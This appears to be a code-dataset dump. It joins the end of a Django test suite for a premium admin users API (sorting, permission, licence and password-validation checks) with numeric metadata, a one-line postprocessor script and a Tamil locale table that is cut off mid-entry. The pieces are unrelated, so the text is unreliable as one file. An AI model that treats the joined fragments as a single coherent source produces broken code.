is_staff=True, has_active_premium_license=True, ) url = reverse("api:premium:admin:users:list") response = api_client.get( f"{url}?page=1&sorts=-invalid_field_name", format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_400_BAD_REQUEST assert response.json()["error"] == "ERROR_ADMIN_LISTING_INVALID_SORT_ATTRIBUTE" @pytest.mark.django_db @override_settings(DEBUG=True) def test_returns_error_response_if_sort_direction_not_provided( api_client, premium_data_fixture ): _, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, has_active_premium_license=True, ) url = reverse("api:premium:admin:users:list") response = api_client.get( f"{url}?page=1&sorts=username", format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_400_BAD_REQUEST assert response.json()["error"] == "ERROR_ADMIN_LISTING_INVALID_SORT_DIRECTION" @pytest.mark.django_db @override_settings(DEBUG=True) def test_returns_error_response_if_invalid_sort_direction_provided( api_client, premium_data_fixture ): _, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, has_active_premium_license=True, ) url = reverse("api:premium:admin:users:list") response = api_client.get( f"{url}?page=1&sorts=*username", format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_400_BAD_REQUEST assert response.json()["error"] == "ERROR_ADMIN_LISTING_INVALID_SORT_DIRECTION" @pytest.mark.django_db @override_settings(DEBUG=True) def test_returns_error_response_if_invalid_sorts_mixed_with_valid_ones( api_client, premium_data_fixture ): _, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, has_active_premium_license=True, ) url = reverse("api:premium:admin:users:list") response = api_client.get( f"{url}?page=1&sorts=+username,username,-invalid_field", format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_400_BAD_REQUEST assert response.json()["error"] == "ERROR_ADMIN_LISTING_INVALID_SORT_DIRECTION" @pytest.mark.django_db @override_settings(DEBUG=True) def test_returns_error_response_if_blank_sorts_provided( api_client, premium_data_fixture ): _, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, has_active_premium_license=True, ) url = reverse("api:premium:admin:users:list") response = api_client.get( f"{url}?page=1&sorts=,,", format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_400_BAD_REQUEST assert response.json()["error"] == "ERROR_ADMIN_LISTING_INVALID_SORT_ATTRIBUTE" @pytest.mark.django_db @override_settings(DEBUG=True) def test_returns_error_response_if_no_sorts_provided(api_client, premium_data_fixture): _, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, has_active_premium_license=True, ) url = reverse("api:premium:admin:users:list") response = api_client.get( f"{url}?page=1&sorts=", format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_400_BAD_REQUEST assert response.json()["error"] == "ERROR_ADMIN_LISTING_INVALID_SORT_ATTRIBUTE" @pytest.mark.django_db @override_settings(DEBUG=True) def test_non_admin_cannot_delete_user(api_client, premium_data_fixture): _, non_admin_token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=False, has_active_premium_license=True, ) user_to_delete = premium_data_fixture.create_user( email="specific_user@test.nl", password="password", first_name="Test1", has_active_premium_license=True, ) url = reverse("api:premium:admin:users:edit", kwargs={"user_id": user_to_delete.id}) response = api_client.delete( url, format="json", HTTP_AUTHORIZATION=f"JWT {non_admin_token}", ) assert response.status_code == HTTP_403_FORBIDDEN @pytest.mark.django_db @override_settings(DEBUG=True) def test_admin_cannot_delete_user_without_premium_license( api_client, premium_data_fixture ): _, admin_token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, ) user_to_delete = premium_data_fixture.create_user( email="specific_user@test.nl", password="password", first_name="Test1", ) url = reverse("api:premium:admin:users:edit", kwargs={"user_id": user_to_delete.id}) response = api_client.delete( url, format="json", HTTP_AUTHORIZATION=f"JWT {admin_token}", ) assert response.status_code == HTTP_402_PAYMENT_REQUIRED assert response.json()["error"] == "ERROR_NO_ACTIVE_PREMIUM_LICENSE" @pytest.mark.django_db @override_settings(DEBUG=True) def test_admin_can_delete_user(api_client, premium_data_fixture): _, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, has_active_premium_license=True, ) user_to_delete = premium_data_fixture.create_user( email="specific_user@test.nl", password="password", first_name="Test1", has_active_premium_license=True, ) url = reverse("api:premium:admin:users:edit", kwargs={"user_id": user_to_delete.id}) response = api_client.delete( url, format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_204_NO_CONTENT response = api_client.get( reverse("api:premium:admin:users:list"), format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_200_OK assert response.json()["count"] == 1 @pytest.mark.django_db @override_settings(DEBUG=True) def test_non_admin_cannot_patch_user(api_client, premium_data_fixture): non_admin_user, non_admin_user_token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=False, has_active_premium_license=True, ) url = reverse("api:premium:admin:users:edit", kwargs={"user_id": non_admin_user.id}) response = api_client.patch( url, {"username": "some_other_email@test.nl"}, format="json", HTTP_AUTHORIZATION=f"JWT {non_admin_user_token}", ) assert response.status_code == HTTP_403_FORBIDDEN non_admin_user.refresh_from_db() assert non_admin_user.email == "test@test.nl" @pytest.mark.django_db @override_settings(DEBUG=True) def test_non_admin_cannot_patch_user_without_premium_license( api_client, premium_data_fixture ): non_admin_user, non_admin_user_token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, ) url = reverse("api:premium:admin:users:edit", kwargs={"user_id": non_admin_user.id}) response = api_client.patch( url, {"username": "some_other_email@test.nl"}, format="json", HTTP_AUTHORIZATION=f"JWT {non_admin_user_token}", ) assert response.status_code == HTTP_402_PAYMENT_REQUIRED assert response.json()["error"] == "ERROR_NO_ACTIVE_PREMIUM_LICENSE" non_admin_user.refresh_from_db() assert non_admin_user.email == "test@test.nl" @pytest.mark.django_db @override_settings(DEBUG=True) def test_admin_can_patch_user(api_client, premium_data_fixture): user, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, date_joined=datetime(2021, 4, 1, 1, 0, 0, 0, tzinfo=timezone.utc), has_active_premium_license=True, ) url = reverse("api:premium:admin:users:edit", kwargs={"user_id": user.id}) old_password = user.password response = api_client.patch( url, {"username": "some_other_email@test.nl", "password": "new_password"}, format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) user.refresh_from_db() assert user.password != old_password assert response.status_code == HTTP_200_OK assert response.json() == { "date_joined": "2021-04-01T01:00:00Z", "name": user.first_name, "username": "some_other_email@test.nl", "groups": [], "id": user.id, "is_staff": True, "is_active": True, "last_login": None, } @pytest.mark.django_db @override_settings(DEBUG=True) def test_admin_can_patch_user_without_providing_password( api_client, premium_data_fixture ): user, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, date_joined=datetime(2021, 4, 1, 1, 0, 0, 0, tzinfo=timezone.utc), has_active_premium_license=True, ) url = reverse("api:premium:admin:users:edit", kwargs={"user_id": user.id}) old_password = user.password response = api_client.patch( url, {"username": "some_other_email@test.nl", "name": "Test2"}, format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) user.refresh_from_db() assert user.password == old_password assert response.status_code == HTTP_200_OK assert response.json() == { "date_joined": "2021-04-01T01:00:00Z", "name": "Test2", "username": "some_other_email@test.nl", "groups": [], "id": user.id, "is_staff": True, "is_active": True, "last_login": None, } @pytest.mark.django_db @override_settings(DEBUG=True) @pytest.mark.parametrize("invalid_password", invalid_passwords) def test_invalid_password_returns_400( api_client, premium_data_fixture, invalid_password ): user, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, date_joined=datetime(2021, 4, 1, 1, 0, 0, 0, tzinfo=timezone.utc), has_active_premium_license=True, ) user_to_edit = premium_data_fixture.create_user( email="second@test.nl", password="password", first_name="Test1", is_staff=False, ) url = reverse("api:premium:admin:users:edit", kwargs={"user_id": user_to_edit.id}) response = api_client.patch( url, {"username": user_to_edit.email, "password": invalid_password}, format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_400_BAD_REQUEST assert response.json()["error"] == "ERROR_REQUEST_BODY_VALIDATION" assert ( response.json()["detail"]["password"][0]["code"] == "password_validation_failed" ) # just sending the password will throw the same error response = api_client.patch( url, {"password": invalid_password}, format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_400_BAD_REQUEST assert response.json()["error"] == "ERROR_REQUEST_BODY_VALIDATION" assert ( response.json()["detail"]["password"][0]["code"] == "password_validation_failed" ) @pytest.mark.django_db @override_settings(DEBUG=True) def test_error_returned_when_invalid_field_supplied_to_edit( api_client, premium_data_fixture ): user, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, date_joined=datetime(2021, 4, 1, 1, 0, 0, 0, tzinfo=timezone.utc), has_active_premium_license=True, ) url = reverse("api:premium:admin:users:edit", kwargs={"user_id": user.id}) # We have to provide a str as otherwise the test api client will "helpfully" try # to serialize the dict using the endpoints serializer, which will fail before # actually running the endpoint. response = api_client.patch( url, json.dumps({"date_joined": "2021-04-01T01:00:00Z"}), format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_400_BAD_REQUEST assert response.json()["error"] == "ERROR_REQUEST_BODY_VALIDATION" @pytest.mark.django_db @override_settings(DEBUG=True) def test_error_returned_when_updating_user_with_invalid_email( api_client, premium_data_fixture ): user, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, date_joined=datetime(2021, 4, 1, 1, 0, 0, 0, tzinfo=timezone.utc), has_active_premium_license=True, ) url = reverse("api:premium:admin:users:edit", kwargs={"user_id": user.id}) # We have to provide a str as otherwise the test api client will "helpfully" try # to serialize the dict using the endpoints serializer, which will fail before # actually running the endpoint. response = api_client.patch( url, json.dumps({"username": "invalid email address"}), format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_400_BAD_REQUEST assert response.json()["error"] == "ERROR_REQUEST_BODY_VALIDATION" @pytest.mark.django_db @override_settings(DEBUG=True) def test_error_returned_when_valid_and_invalid_fields_supplied_to_edit( api_client, premium_data_fixture ): user, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, date_joined=datetime(2021, 4, 1, 1, 0, 0, 0, tzinfo=timezone.utc), has_active_premium_license=True, ) url = reverse("api:premium:admin:users:edit", kwargs={"user_id": user.id}) # We have to provide a str as otherwise the test api client will "helpfully" try # to serialize the dict using the endpoints serializer, which will fail before # actually running the endpoint. response = api_client.patch( url, json.dumps({"is_active": False, "date_joined": "2021-04-01T01:00:00Z"}), format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_400_BAD_REQUEST assert response.json()["error"] == "ERROR_REQUEST_BODY_VALIDATION" @pytest.mark.django_db @override_settings(DEBUG=True) def test_admin_getting_view_users_only_runs_two_queries_instead_of_n( premium_data_fixture, django_assert_num_queries, api_client ): _, token = premium_data_fixture.create_user_and_token( email="test@test.nl", password="password", first_name="Test1", is_staff=True, has_active_premium_license=True, ) fixed_num_of_queries_unrelated_to_number_of_rows = 6 for i in range(10): premium_data_fixture.create_user_group() with django_assert_num_queries(fixed_num_of_queries_unrelated_to_number_of_rows): response = api_client.get( reverse("api:premium:admin:users:list"), format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_200_OK assert response.json()["count"] == 11 # Make even more to ensure that more rows don't result in more queries. for i in range(10): premium_data_fixture.create_user_group() with django_assert_num_queries(fixed_num_of_queries_unrelated_to_number_of_rows): response = api_client.get( reverse("api:premium:admin:users:list"), format="json", HTTP_AUTHORIZATION=f"JWT {token}", ) assert response.status_code == HTTP_200_OK assert response.json()["count"] == 21
32.835459
88
0.662238
3,235
25,743
4.918393
0.068624
0.044246
0.072403
0.057319
0.921815
0.912262
0.905851
0.893784
0.888568
0.870844
0
0.018853
0.223206
25,743
783
89
32.877395
0.776817
0.026493
0
0.72973
0
0
0.164118
0.07653
0
0
0
0
0.089616
1
0.036984
false
0.065434
0.01138
0
0.048364
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
8
3ce896e92311aaec232c82e12f522c16789cd393
90
py
Python
tests/data/monitor/postprocessor.py
LastRemote/sagemaker-python-sdk
fddf29d9e4383cd3f939253eef47ee79a464dd37
[ "Apache-2.0" ]
1,690
2017-11-29T20:13:37.000Z
2022-03-31T12:58:11.000Z
tests/data/monitor/postprocessor.py
LastRemote/sagemaker-python-sdk
fddf29d9e4383cd3f939253eef47ee79a464dd37
[ "Apache-2.0" ]
2,762
2017-12-04T05:18:03.000Z
2022-03-31T23:40:11.000Z
tests/data/monitor/postprocessor.py
LastRemote/sagemaker-python-sdk
fddf29d9e4383cd3f939253eef47ee79a464dd37
[ "Apache-2.0" ]
961
2017-11-30T16:44:03.000Z
2022-03-30T23:12:09.000Z
def postprocess_handler(): print("postprocessor.py::postprocess_handler was called.")
30
62
0.777778
10
90
6.8
0.8
0.529412
0
0
0
0
0
0
0
0
0
0
0.1
90
2
63
45
0.839506
0
0
0
0
0
0.544444
0.411111
0
0
0
0
0
1
0.5
true
0
0
0
0.5
0.5
1
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
1
null
0
0
0
0
0
1
1
0
0
0
0
1
0
7
59791bbbb0efb0a5b556e27e99136c53040f1c37
20,542
py
Python
turbogears/i18n/data/ta.py
timmartin19/turbogears
b5420cb7e55757d418d8fadb512dbd7803c4279c
[ "MIT" ]
null
null
null
turbogears/i18n/data/ta.py
timmartin19/turbogears
b5420cb7e55757d418d8fadb512dbd7803c4279c
[ "MIT" ]
9
2015-01-27T19:13:56.000Z
2019-03-29T14:44:31.000Z
turbogears/i18n/data/ta.py
timmartin19/turbogears
b5420cb7e55757d418d8fadb512dbd7803c4279c
[ "MIT" ]
13
2015-04-14T14:15:53.000Z
2020-03-18T01:05:46.000Z
# Formatting configuration for locale ta languages={'gu': u'\u0b95\u0bc1\u0b9c\u0bb0\u0bbe\u0ba4\u0bcd\u0ba4\u0bbf', 'gd': u'\u0bb8\u0bcd\u0b95\u0bbe\u0b9f\u0bcd\u0bb8\u0bcd \u0b95\u0bbe\u0bb2\u0bc6\u0b95\u0bcd', 'ga': u'\u0b90\u0bb0\u0bbf\u0bb7\u0bcd', 'gn': u'\u0b95\u0bc1\u0bb0\u0bbe\u0ba9\u0bbf', 'gl': u'\u0b95\u0bc6\u0bb2\u0bbf\u0bb8\u0bbf\u0baf\u0ba9\u0bcd', 'la': u'\u0bb2\u0bbe\u0ba4\u0bbf\u0ba9\u0bcd', 'ln': u'\u0bb2\u0bbf\u0b99\u0bcd\u0b95\u0bbe\u0bb2\u0bbe', 'lo': u'\u0bb2\u0bcb\u0ba4\u0bcd\u0ba4\u0bbf\u0baf\u0ba9\u0bcd', 'tt': u'\u0b9f\u0bbe\u0b9f\u0bb0\u0bcd', 'tr': u'\u0b9f\u0bb0\u0bcd\u0b95\u0bbf\u0bb7\u0bcd', 'ts': u'\u0bb8\u0bcb\u0b99\u0bcd\u0b95\u0bbe', 'lv': u'\u0bb2\u0bc7\u0b9f\u0bcd\u0bb5\u0bbf\u0baf\u0ba9\u0bcd (\u0bb2\u0bc7\u0b9f\u0bcd\u0b9f\u0bbf\u0bb7\u0bcd)', 'to': u'\u0b9f\u0bcb\u0b99\u0bcd\u0b95\u0bbe', 'lt': u'\u0bb2\u0bc1\u0ba4\u0bcd\u0ba4\u0bc7\u0ba9\u0bbf\u0baf\u0ba9\u0bcd', 'tk': u'\u0b9f\u0bb0\u0bcd\u0b95\u0bcd\u0bae\u0bc6\u0ba9\u0bcd', 'th': u'\u0ba4\u0bbe\u0baf\u0bcd', 'ti': u'\u0b9f\u0bbf\u0b95\u0bcd\u0bb0\u0bbf\u0ba9\u0bcd\u0baf\u0bbe', 'tg': u'\u0ba4\u0bbe\u0b9c\u0bbf\u0b95\u0bcd', 'te': u'\u0ba4\u0bc6\u0bb2\u0bc1\u0b99\u0bcd\u0b95\u0bc1', 'ta': u'\u0ba4\u0bae\u0bbf\u0bb4\u0bcd', 'yi': u'\u0b88\u0ba4\u0bcd\u0ba4\u0bbf\u0bb7', 'yo': u'\u0baf\u0bcb\u0bb0\u0bc1\u0baa\u0bcd\u0baa\u0bbe', 'de': u'\u0b9c\u0bc6\u0bb0\u0bcd\u0bae\u0ba9\u0bcd', 'da': u'\u0b9f\u0bbe\u0ba9\u0bbf\u0bb7\u0bcd', 'dz': u'\u0baa\u0bc1\u0b9f\u0bbe\u0ba9\u0bbf', 'st': u'\u0bb7\u0bc6\u0bb8\u0bcd\u0bb8\u0bcb\u0ba4\u0bcb', 'qu': u'\u0b95\u0bbf\u0baf\u0bc1\u0b9a\u0bbe', 'el': u'\u0b95\u0bbf\u0bb0\u0bc7\u0b95\u0bcd\u0b95\u0bae\u0bcd', 'eo': u'\u0b8e\u0bb8\u0bcd\u0baa\u0bb0\u0bc7\u0ba9\u0bcd\u0b9f\u0bcb', 'en': u'\u0b86\u0b99\u0bcd\u0b95\u0bbf\u0bb2\u0bae\u0bcd', 'zh': u'\u0b9a\u0bc0\u0ba9\u0bae\u0bcd', 'za': u'\u0b9c\u0bc1\u0bb5\u0bbe\u0b99\u0bcd', 'uk': u'\u0b89\u0b95\u0bcd\u0bb0\u0bc7\u0ba9\u0bbf\u0baf\u0ba9\u0bcd', 'eu': u'\u0baa\u0bb8\u0bcd\u0b95\u0bcd', 'et': u'\u0b8e\u0bb8\u0bcd\u0b9f\u0bcb\u0ba9\u0bbf\u0baf\u0ba9\u0bcd', 'es': u'\u0bb8\u0bcd\u0baa\u0bc7\u0ba9\u0bbf\u0bb7\u0bcd', 'ru': u'\u0bb0\u0bb7\u0bbf\u0baf\u0ba9\u0bcd', 'rw': u'\u0b95\u0bbf\u0ba9\u0bcd\u0baf\u0bb0\u0bcd\u0bb5\u0bc6\u0ba9\u0bcd\u0b9f\u0bbe', 'rm': u'\u0bb0\u0bc8\u0b9f\u0bcd\u0b9f\u0bcb-\u0bb0\u0bcb\u0bae\u0bc6\u0ba9\u0bcd\u0bb8\u0bcd', 'rn': u'\u0b95\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bbf', 'ro': u'\u0bb0\u0bcb\u0bae\u0bc7\u0ba9\u0bbf\u0baf\u0ba9\u0bcd', 'bn': u'\u0bb5\u0b99\u0bcd\u0b95\u0bbe\u0bb3\u0bae\u0bcd', 'be': u'\u0baa\u0bc8\u0bb2\u0bcb\u0bb0\u0bc1\u0bb7\u0bcd\u0ba9\u0bcd', 'bg': u'\u0baa\u0bb2\u0bcd\u0b95\u0bc7\u0bb0\u0bbf\u0baf\u0ba9\u0bcd', 'ba': u'\u0baa\u0bbe\u0bb7\u0bcd\u0b95\u0bbf\u0bb0\u0bcd0', 'wo': u'\u0b92\u0bb2\u0bcb\u0baa\u0bcd', 'jv': u'\u0b9c\u0bbe\u0bb5\u0bbe\u0ba9\u0bc0\u0bb8\u0bcd', 'bo': u'\u0ba4\u0bbf\u0baa\u0bc6\u0ba4\u0bcd\u0ba4\u0bc1', 'bh': u'\u0baa\u0bbf\u0bb9\u0bbe\u0bb0\u0bbf', 'bi': u'\u0baa\u0bbf\u0bb8\u0bcd\u0bb2\u0bbe\u0bae\u0bbe', 'br': u'\u0baa\u0bbf\u0bb0\u0bbf\u0b9f\u0ba9\u0bcd', 'ja': u'\u0b9c\u0baa\u0bcd\u0baa\u0bbe\u0ba9\u0bc0\u0bb8\u0bcd', 'om': u'\u0b92\u0bb0\u0bcb\u0bae (\u0b85\u0baa\u0ba9\u0bcd)', 'root': u'\u0ba4\u0bae\u0bbf\u0bb4\u0bcd', 'oc': u'\u0b86\u0b95\u0bbf\u0b9f\u0bbf\u0baf\u0ba9\u0bcd', 'tw': u'\u0ba4\u0bcd\u0ba4\u0bbf\u0bb5\u0bbf', 'or': u'\u0b92\u0bb0\u0bbf\u0baf\u0bbe', 'xh': u'\u0bb9\u0bcb\u0bb7\u0bbe', 'co': u'\u0b95\u0bbe\u0bb0\u0bcd\u0b9a\u0bbf\u0baf\u0ba9\u0bcd', 'ca': u'\u0b95\u0bbe\u0b9f\u0bb2\u0bbe\u0ba9\u0bcd', 'cy': u'\u0bb5\u0bc6\u0bb2\u0bcd\u0bb7\u0bcd', 'cs': u'\u0b9a\u0bc6\u0b95\u0bcd', 'ps': u'\u0baa\u0bc7\u0bb7\u0bcd\u0b9f\u0bcb (\u0baa\u0bc1\u0bb7\u0bcd\u0b9f\u0bcb)', 'kok': u'\u0b95\u0bca\u0b99\u0bcd\u0b95\u0ba9\u0bbf', 'pt': u'\u0baa\u0bcb\u0bb0\u0bcd\u0ba4\u0bcd\u0ba4\u0bc1\u0b95\u0bc0\u0bb8\u0bcd', 'tl': u'\u0b9f\u0bbe\u0b95\u0bbe\u0bb2\u0bcb\u0b95\u0bcd', 'pa': u'\u0baa\u0b9e\u0bcd\u0b9a\u0bbe\u0baa\u0bbf', 'vi': u'\u0bb5\u0bbf\u0baf\u0b9f\u0bcd\u0ba8\u0bbe\u0bae\u0bbf\u0bb8\u0bcd', 'pl': u'\u0baa\u0bcb\u0bb2\u0bbf\u0bb7\u0bcd', 'hy': u'\u0b86\u0bb0\u0bcd\u0bae\u0bc7\u0ba9\u0bbf\u0baf\u0ba9\u0bcd', 'hr': u'\u0b95\u0bb0\u0bcb\u0bb7\u0bbf\u0baf\u0ba9\u0bcd', 'iu': u'\u0b87\u0ba9\u0bc1\u0b95\u0bbf\u0b9f\u0b9f\u0bcd', 'hu': u'\u0bb9\u0b99\u0bcd\u0b95\u0bc7\u0bb0\u0bbf\u0baf\u0ba9\u0bcd', 'hi': u'\u0b87\u0ba8\u0bcd\u0ba4\u0bbf', 'ha': u'\u0bb9\u0bca\u0bb8\u0bbe', 'he': u'\u0bb9\u0bc1\u0baa\u0bcd\u0bb0\u0bc1', 'mg': u'\u0bae\u0bb2\u0b95\u0bc6\u0bb8\u0bbf', 'uz': u'\u0b89\u0bb8\u0bcd\u0baa\u0bc6\u0b95\u0bcd', 'ml': u'\u0bae\u0bb2\u0bc8\u0baf\u0bbe\u0bb3\u0bae\u0bcd', 'mo': u'\u0bae\u0bcb\u0bb2\u0bcd\u0b9f\u0bc7\u0bb5\u0bbf\u0baf\u0ba9\u0bcd', 'mn': u'\u0bae\u0b99\u0bcd\u0b95\u0bcb\u0bb2\u0bbf\u0baf\u0ba9\u0bcd', 'mi': u'\u0bae\u0bcb\u0bb0\u0bbf', 'ik': u'\u0b87\u0ba9\u0bc1\u0baa\u0bc6\u0b95\u0bcd', 'mk': u'\u0bae\u0bc6\u0b95\u0bcd\u0b95\u0b9f\u0bcb\u0ba9\u0bbf\u0baf\u0ba9\u0bcd', 'ur': u'\u0b89\u0bb0\u0bc1\u0ba4\u0bc1', 'mt': u'\u0bae\u0bbe\u0bb2\u0bcd\u0b9f\u0bbf\u0bb8\u0bcd', 'ms': u'\u0bae\u0bb2\u0bbe\u0baf\u0bcd', 'mr': u'\u0bae\u0bb0\u0bbe\u0ba4\u0bcd\u0ba4\u0bbf', 'ug': u'\u0baf\u0bc1\u0b95\u0bc1\u0bb0\u0bcd', 'my': u'\u0baa\u0bb0\u0bcd\u0bae\u0bbf\u0bb8\u0bcd', 'aa': u'\u0b85\u0baa\u0bbe\u0bb0\u0bcd', 'ab': u'\u0b85\u0baa\u0bcd\u0b95\u0bbe\u0bb8\u0bbf\u0ba9\u0bcd', 'ss': u'\u0bb7\u0bbf\u0bb8\u0bcd\u0bb5\u0bbe\u0ba4\u0bbf', 'af': u'\u0b86\u0baa\u0bcd\u0bb0\u0bbf\u0b95\u0ba9\u0bcd\u0bb8\u0bcd', 'tn': u'\u0bb8\u0bc6\u0b9f\u0bcd\u0bb8\u0bcd\u0bb5\u0bbe\u0ba9\u0bbe', 'sw': u'\u0b9a\u0bc1\u0bb5\u0bbe\u0bb9\u0bbf\u0bb2\u0bbf', 'is': u'\u0b90\u0bb8\u0bcd\u0bb2\u0bc6\u0ba9\u0bcd\u0b9f\u0bbf\u0b95\u0bcd', 'am': u'\u0b85\u0bae\u0bcd\u0bb9\u0bbe\u0bb0\u0bbf\u0b95\u0bcd', 'it': u'\u0b87\u0ba4\u0bcd\u0ba4\u0bbe\u0bb2\u0bbf\u0baf\u0ba9\u0bcd', 'sv': u'\u0bb7\u0bc0\u0bb5\u0bbf\u0b9f\u0bbf\u0bb8\u0bcd', 'ia': u'\u0b87\u0ba9\u0bcd\u0b9f\u0bb0\u0bcd\u0bb2\u0bbf\u0b99\u0bcd\u0b95\u0bc1\u0bb5\u0bbe', 'as': u'\u0b85\u0bb8\u0bcd\u0bb8\u0bbe\u0bae\u0bbf', 'ar': u'\u0b85\u0bb0\u0baa\u0bc1', 'su': u'\u0b9a\u0bc1\u0b9f\u0bbe\u0ba9\u0bc0\u0bb8\u0bcd', 'zu': u'\u0b9c\u0bc2\u0bb2\u0bc2', 'ay': u'\u0b85\u0baf\u0bae\u0bb0\u0bbe', 'az': u'\u0b85\u0b9a\u0bb0\u0bcd\u0baa\u0bbe\u0baf\u0bcd\u0b9c\u0bbe\u0ba9\u0bbf', 'ie': u'\u0b87\u0ba9\u0bcd\u0b9f\u0bb0\u0bcd\u0bb2\u0bbf\u0b99\u0bcd\u0b95\u0bc1\u0bb5\u0bbe', 'id': u'\u0b87\u0ba8\u0bcd\u0ba4\u0bcb\u0ba9\u0bc7\u0bb7\u0bbf\u0baf\u0ba9\u0bcd', 'sk': u'\u0bb8\u0bcd\u0bb2\u0bcb\u0bb5\u0bc6\u0b95\u0bcd', 'nl': u'\u0b9f\u0b9a\u0bcd\u0b9a\u0bc1', 'no': u'\u0ba8\u0bbe\u0bb0\u0bcd\u0bb5\u0bc7\u0b95\u0bbf\u0baf\u0ba9\u0bcd', 'na': u'\u0ba8\u0bbe\u0bb0\u0bc2', 'ne': u'\u0ba8\u0bc7\u0baa\u0bcd\u0baa\u0bbe\u0bb2\u0bbf', 'vo': u'\u0b92\u0bb2\u0baa\u0bc1\u0b95\u0bcd', 'fr': u'\u0baa\u0bbf\u0bb0\u0bc6\u0b9e\u0bcd\u0b9a\u0bc1', 'sm': u'\u0bb8\u0bc6\u0bae\u0bcb\u0ba9\u0bcd', 'fy': u'\u0baa\u0bbf\u0bb0\u0bbf\u0bb7\u0bbf\u0baf\u0ba9\u0bcd', 'fa': u'\u0baa\u0bb0\u0bcd\u0bb8\u0bbf\u0baf\u0ba9\u0bcd', 'fi': u'\u0baa\u0bbf\u0ba9\u0bcd\u0ba9\u0bbf\u0bb7\u0bcd', 'fj': u'\u0baa\u0bbf\u0b9c\u0bbf', 'sa': u'\u0b9a\u0bae\u0bb8\u0bcd\u0b95\u0bbf\u0bb0\u0bc1\u0ba4\u0bae\u0bcd', 'fo': u'\u0baa\u0bc8\u0bb0\u0bcb\u0bb8\u0bbf', 'ka': u'\u0b95\u0ba9\u0bcd\u0ba9\u0b9f\u0bae\u0bcd', 'kk': u'\u0b95\u0b9a\u0bbe\u0b95\u0bcd', 'sr': u'\u0b9a\u0bb0\u0bcd\u0baa\u0bbf\u0baf\u0ba9\u0bcd', 'sq': u'\u0b85\u0bb2\u0bcd\u0baa\u0bc6\u0ba9\u0bbf\u0baf\u0ba9\u0bcd', 'ko': u'\u0b95\u0bca\u0bb0\u0bbf\u0baf\u0ba9\u0bcd', 'kn': u'\u0b95\u0ba9\u0bcd\u0ba9\u0b9f\u0bbe', 'km': u'\u0b95\u0bae\u0bcd\u0baa\u0bcb\u0b9f\u0bbf\u0baf\u0ba9\u0bcd', 'kl': u'\u0b95\u0bbf\u0bb0\u0bbf\u0ba9\u0bcd\u0bb2\u0bc6\u0ba9\u0bcd\u0b9f\u0bbf\u0b95\u0bcd', 'ks': u'\u0b95\u0bbe\u0bb7\u0bcd\u0bae\u0bbf\u0bb0\u0bbf', 'si': u'\u0b9a\u0bbf\u0b99\u0bcd\u0b95\u0bb3\u0bae\u0bcd', 'sh': u'\u0b9a\u0bc6\u0bb0\u0bcd\u0baa\u0bcb-\u0b95\u0bcd\u0bb0\u0bcb\u0bb7\u0bbf\u0baf\u0ba9\u0bcd', 'so': u'\u0b9a\u0bcb\u0bae\u0bbe\u0bb2\u0bbf', 'sn': u'\u0bb7\u0bcb\u0ba9\u0bbe', 'ku': u'\u0b95\u0bc1\u0bb0\u0bcd\u0ba4\u0bbf\u0bb7\u0bcd', 'sl': u'\u0bb8\u0bcd\u0bb2\u0bcb\u0bb5\u0bbf\u0ba9\u0bc7\u0baf\u0bbf\u0ba9\u0bcd', 'ky': u'\u0b95\u0bbf\u0bb0\u0bcd\u0b95\u0bbf\u0bb7\u0bcd', 'sg': u'\u0b9a\u0bc6\u0ba9\u0bcd\u0b95\u0bcd\u0bb0\u0bcb', 'sd': u'\u0b9a\u0bbf\u0ba8\u0bcd\u0ba4\u0bbf'} countries={'BD': u'\u0baa\u0b99\u0bcd\u0b95\u0bb3\u0bbe\u0ba4\u0bc7\u0bb7\u0bcd', 'BE': u'\u0baa\u0bc6\u0bb2\u0bcd\u0b9c\u0bbf\u0baf\u0bae\u0bcd', 'BF': 